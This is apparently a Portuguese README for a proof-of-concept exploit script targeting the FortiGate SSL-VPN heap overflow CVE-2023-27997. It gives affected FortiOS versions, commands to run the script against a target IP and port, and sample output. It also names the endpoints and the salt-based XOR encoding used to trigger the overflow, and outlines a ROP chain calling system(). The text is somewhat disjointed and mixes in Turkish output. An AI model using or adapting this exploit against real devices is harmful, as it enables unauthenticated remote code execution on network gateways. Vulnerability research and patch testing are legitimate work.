
Script PoC de Exploit para FortiGate SSL-VPN CVE-2023-27997 com ROP Chain
Script de Exploit PoC com ROP Chain para FortiGate SSL‑VPN CVE‑2023‑27997
fgt-cve-2023-27997-exploit.py é um script de exploit Proof‑of‑Concept (PoC) escrito para a vulnerabilidade crítica CVE‑2023‑27997 descoberta em dispositivos Fortinet FortiGate.
A vulnerabilidade decorre de um erro de buffer overflow baseado em heap que permite execução remota de código (RCE) sem autenticação na interface SSL‑VPN do FortiOS.
Etapas de funcionamento do script:
/remote/hostcheck_validate.Atenção: O script deve ser usado somente em ambientes autorizados de teste ou laboratório.
| Produto | Versões |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Versões relacionadas |
pip3 install -r requirements.txt
Conteúdo do requirements.txt:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Exemplo:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Argumento | Descrição |
|---|---|
<TARGET_IP> | Endereço IP do FortiGate alvo |
<TARGET_PORT> | Porta SSL‑VPN (padrão: 443 ou 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc é criptografado com o keystream XOR gerado a partir da combinação de salt + seed.| Etapa | Gadget | Descrição |
|---|
| 1 | pop rdi ; ret | O endereço do comando é carregado em RDI |
| 2 | system@plt | O comando é executado |
| – | 0xdeadbeefdeadbeef | Placeholder; o endereço real deve ser determinado no ambiente de laboratório |
Este PoC foi projetado para funcionar em ambiente de teste controlado sem exigir heap grooming.